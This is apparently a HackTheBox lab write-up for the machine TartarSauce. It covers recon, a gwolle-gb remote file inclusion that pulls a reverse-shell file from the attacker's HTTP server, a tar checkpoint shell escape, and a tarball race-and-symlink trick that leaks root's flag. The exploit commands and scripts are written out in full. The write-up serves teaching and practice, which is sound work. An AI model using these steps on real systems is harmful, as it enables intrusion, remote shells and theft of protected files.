Skip to content

TartarSauce — HackTheBox

Machine Info

  • IP: 10.129.1.185
  • OS: Linux (Ubuntu)
  • Difficulty: TBD

Enumeration

Port Scan

Full TCP scan followed by service/version scan on open ports.

nmap -p- --min-rate 3000 -Pn -oA nmap/tartarSauceNmapOpenPorts $IP
nmap -p80 -sSCV --min-rate=2000 -Pn -oN nmap/TartarSauceNmapServicesVersions.txt $IP

Open Ports:

Port Service Version
80 HTTP Apache httpd 2.4.18 (Ubuntu)

Only one port open — this is a web-only box.

robots.txt

Nmap's http-robots.txt script found 5 disallowed entries:

Path Notes
/webservices/tar/tar/source/ Unknown
/webservices/monstra-3.0.4/ Monstra CMS 3.0.4
/webservices/easy-file-uploader/ File upload service
/webservices/developmental/ Dev environment
/webservices/phpmyadmin/ Database admin panel

Decision: robots.txt is handing us the attack surface. Monstra 3.0.4 is a known-vulnerable CMS. The /webservices/ prefix suggests multiple apps hosted under one vhost.

Monstra CMS 3.0.4

Monstra stores its database as flat XML files under storage/database/. These are publicly accessible.

Exposed credentials at /webservices/monstra-3.0.4/storage/database/users.table.xml:

Field Value
login admin
password (MD5) 5d1e3697d706b0e24e574b56e79affda
hash (salt?) jB64OpMOWGxq
email [email protected]
role admin

Logged into Monstra admin panel with admin:admin (default creds). File upload is filtered — .php, .txt, and double-extension attempts all rejected. Monstra is a decoy. Real foothold lives elsewhere under /webservices/.

WordPress (/webservices/wp/)

A WordPress blog lives at http://tartarsauce.htb/webservices/wp/. Required adding tartarsauce.htb to /etc/hosts to resolve.

Initial wpscan with default (passive) plugin detection found no plugins — this was misleading. Re-ran with aggressive detection:

wpscan --url http://tartarsauce.htb/webservices/wp/ --enumerate ap,at,u --plugins-detection aggressive -o logs/wpscan-aggressive.txt

Findings: | Item | Value | |------|-------| | WordPress | 4.9.4 (insecure) | | Theme | voce 1.1.0 | | Plugin: akismet | 4.0.3 | | Plugin: brute-force-login-protection | 1.5.3 | | Plugin: gwolle-gb | 2.3.10 (vulnerable to CVE-2015-8351 RFI) |

Lesson: Always run wpscan with --plugins-detection aggressive. Passive mode only finds plugins referenced in HTML — vulnerable plugins rarely appear there.

Foothold

CVE-2015-8351 — gwolle-gb Remote File Inclusion

The gwolle-gb plugin's ajaxresponse.php includes a file from a user-controlled abspath parameter, appending /wp-load.php to it. Reference: EDB-38861.

Step 1 — Build a malicious wp-load.php (PHP webshell) in a working directory:

mkdir /tmp/rfi && cd /tmp/rfi
cp /usr/share/webshells/php/php-reverse-shell.php wp-load.php
# Edit IP/port inside wp-load.php

Step 2 — Serve it over HTTP:

cd /tmp/rfi && python3 -m http.server 8001

Step 3 — Listener for shell callback:

nc -lvnp 9001

Step 4 — Trigger the RFI:

curl "http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.24:8001/"

Reverse shell callback received as www-data.

Privilege Escalation

sudo -l as www-data

www-data@TartarSauce:$ sudo -l
User www-data may run the following commands on TartarSauce:
    (onuma) NOPASSWD: /bin/tar

Key detail: (onuma) — not root. This is a lateral pivot to user onuma (who likely owns user.txt).

TTY Upgrade + tar GTFOBins → Lateral to onuma

python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

Flags/Notes: - TTY upgrade required — sudo rejected the nc shell with "no tty present" - tar --checkpoint=1 fires a checkpoint after 1 record - --checkpoint-action=exec=/bin/bash spawns a shell when checkpoint fires - sudo -u onuma runs the spawned shell as onuma, not root

User flag retrieved from /home/onuma/user.txt:

92404afaf175cb1d71f414ee7ed2543f

Diagnostic clue: The error message itself revealed the problem and the fix:

sudo: no tty present and no askpass program specified
"no tty present" → upgrade to a real PTY. "no askpass" → would mean it wanted a password (irrelevant here because of NOPASSWD). When sudo errors look unfamiliar, read them word-by-word — they often state the exact missing precondition.

Root Enumeration

Standard Linux privesc enumeration from onuma:

sudo -l                                      # nothing
id                                           # cdrom, dip, plugdev — no useful groups
cat /etc/crontab                             # all stock
systemctl list-timers --all --no-pager       # backuperer.timer every 5 min ← KEY
find / -perm -4000 -type f 2>/dev/null       # only stock SUID + own webshell
ls -la /var/backups                          # onuma-www-dev.bak (onuma-owned!), onuma_backup_test.txt, onuma_backup_error.txt

Critical anomaly: /var/backups/onuma-www-dev.bak is owned by onuma:onuma despite living in a root-only directory — proving a root-run job creates files on onuma's behalf. Combined with the 5-min backuperer.timer, the privesc vector is the timer-driven backup script.

The /usr/sbin/backuperer Script

systemctl cat backuperer.service backuperer.timer
# ExecStart=/usr/sbin/backuperer
cat /usr/sbin/backuperer

Key script behavior (annotated):

basedir=/var/www/html
tmpdir=/var/tmp
tmpfile=$tmpdir/.$(...random sha1...)            # random filename in /var/tmp/
check=$tmpdir/check                              # PREDICTABLE extraction path

# 1. Backup is run as onuma (good intent — backup file ends up onuma-owned)
sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &  # ← backgrounded with `&`
/bin/sleep 30                                     # ← 30-SECOND WINDOW (BUG #1)

# 2. Extraction runs as ROOT
mkdir $check
tar -zxvf $tmpfile -C $check                      # ← extracts whatever is in $tmpfile, as root

# 3. Diff comparison
integrity_chk() { diff -r $basedir $check$basedir; }
if [[ $(integrity_chk) ]]; then
    integrity_chk >> $errormsg                    # ← BUG #2: diff output (incl. symlink contents) gets logged
fi

Two bugs combine: 1. 30-second sleep window — the tarball sits in /var/tmp/ for ~28 seconds before extraction. We can swap it. 2. diff -r follows symlinks — if a symlink in $check/var/www/html/ points to /root/root.txt, diff reads root.txt's content (running as root) and appends it to a world-readable error log.

Step 1 — Build malicious tarball (do once):

cd /tmp
mkdir -p exploit/var/www/html
cd exploit
ln -s /root/root.txt var/www/html/index.html
tar -zcvf /tmp/evil.tar.gz var/
tar -tzvf /tmp/evil.tar.gz   # verify symlink entry: "index.html -> /root/root.txt"

Why directory structure: Tar stores relative paths. The script extracts to /var/tmp/check/, so var/www/html/index.html inside the archive becomes /var/tmp/check/var/www/html/index.html — exactly where diff -r /var/www/html /var/tmp/check/var/www/html will look.

Why a symlink (not a regular file with content): Tar preserves symlinks during extraction (it doesn't follow them). The symlink gets recreated as-is on disk. Then diff (run later by the script as root) follows it and reads the target file's actual contents — leaking /root/root.txt because root has access.

Step 2 — Watch loop to swap tarball during the 30-second window:

while true; do
  TMPFILE=$(ls -A /var/tmp/.* 2>/dev/null | grep -v '^\.\.$' | grep -v '^\.$' | head -1)
  if [ -n "$TMPFILE" ] && [ -f "$TMPFILE" ]; then
    sleep 3                                    # let onuma's tar finish writing
    cp /tmp/evil.tar.gz "$TMPFILE"             # core swap
    echo "Replaced $TMPFILE at $(date)"
    break
  fi
  sleep 1
done

Flags/Notes: - ls -A /var/tmp/.* — list dotfiles (backuperer creates .<sha1>) - The two grep -v lines exclude . and .. directory entries - sleep 3 after detection — wait for onuma's tar to finish writing before overwriting - cp overwrites with our payload — script's later tar -zxvf reads OUR archive, not the original

Step 3 — Wait for the script to finish, read the leak:

cat /var/backups/onuma_backup_error.txt

Diff output contains the root flag in > lines (right side of diff = the symlink's resolved contents):

< <!--Carry on, nothing to see here :D-->
---
> 215ad0eac8942acda3b28649cce759f4
Only in /var/www/html: robots.txt
Only in /var/www/html: webservices

Flags

  • User: 92404afaf175cb1d71f414ee7ed2543f
  • Root: 215ad0eac8942acda3b28649cce759f4

Lessons Learned

Recon & Decoy Recognition

  • robots.txt is essentially a sitemap of attack surface — don't ignore it, but don't trust it as exhaustive
  • Multiple apps under one vhost (/webservices/<app>/) means the obvious target may be a decoy
  • Monstra CMS 3.0.4 stores its DB as flat XML files in storage/database/ — publicly readable when not properly access-controlled
  • When a CMS hands you creds and admin access but every upload is blocked, it's a decoy — pivot to a different app

WPScan

  • Always run with --plugins-detection aggressive — passive mode only finds plugins referenced in homepage HTML, which rarely includes vulnerable ones
  • --enumerate ap,at,u covers all plugins, all themes, and users in one pass

RFI Mechanics

  • LFI/RFI exploits that "include" require an HTTP server serving a file, not a netcat listener
  • The vulnerable code may append a fixed suffix (e.g., /wp-load.php) to your input — file must be named accordingly
  • Trailing / on the abspath URL matters: http://attacker:8001/ produces //wp-load.php, http://attacker:8001 produces wp-load.php (broken hostname)
  • Test code execution with <?php system('id'); ?> first before deploying full reverse shells

Sudo & TTY

  • sudo: no tty present and no askpass program specified → fix is python3 -c 'import pty; pty.spawn("/bin/bash")', NOT supplying a password
  • sudo -l output (user) NOPASSWD: /bin/binary means you can run that binary as user — not necessarily root. Read the parens carefully.
  • tar with --checkpoint=1 --checkpoint-action=exec=<cmd> is a GTFOBins classic — turns any tar invocation into arbitrary command execution

Diagnostics

  • Read error messages word-by-word — they often state exactly what's missing
  • A scheduled root job that operates on user-influenced files in shared dirs (/tmp, /var/tmp) is a classic privesc target
  • Key indicators:
  • systemctl list-timers --all shows a custom timer
  • Files in /var/backups (or similar) owned by a non-root user (proves root creates files for that user)
  • A script that uses & (background) followed by sleep (artificial delay = race window)
  • diff -r follows symlinks and outputs file contents. If diff output is captured to a world-readable log, you can leak any file root can read.
  • Tar preserves symlinks during extraction. Crafted tarballs containing symlinks become a delivery mechanism for arbitrary symlinks, even if you can't write to the target directory.
  • General pattern: write malicious payload → wait for root job to consume it → harvest leaked data from logs

File Ownership as a Privesc Tell

  • A file in a root-only directory owned by a regular user proves a root-run process is doing chown for that user
  • Mod times that line up with timer schedules confirm the suspect — note mtime on the user-owned file vs. timer LAST time
  • Always check ls -la on files in /var/backups, /var/spool, /opt, and /var/log for unusual ownership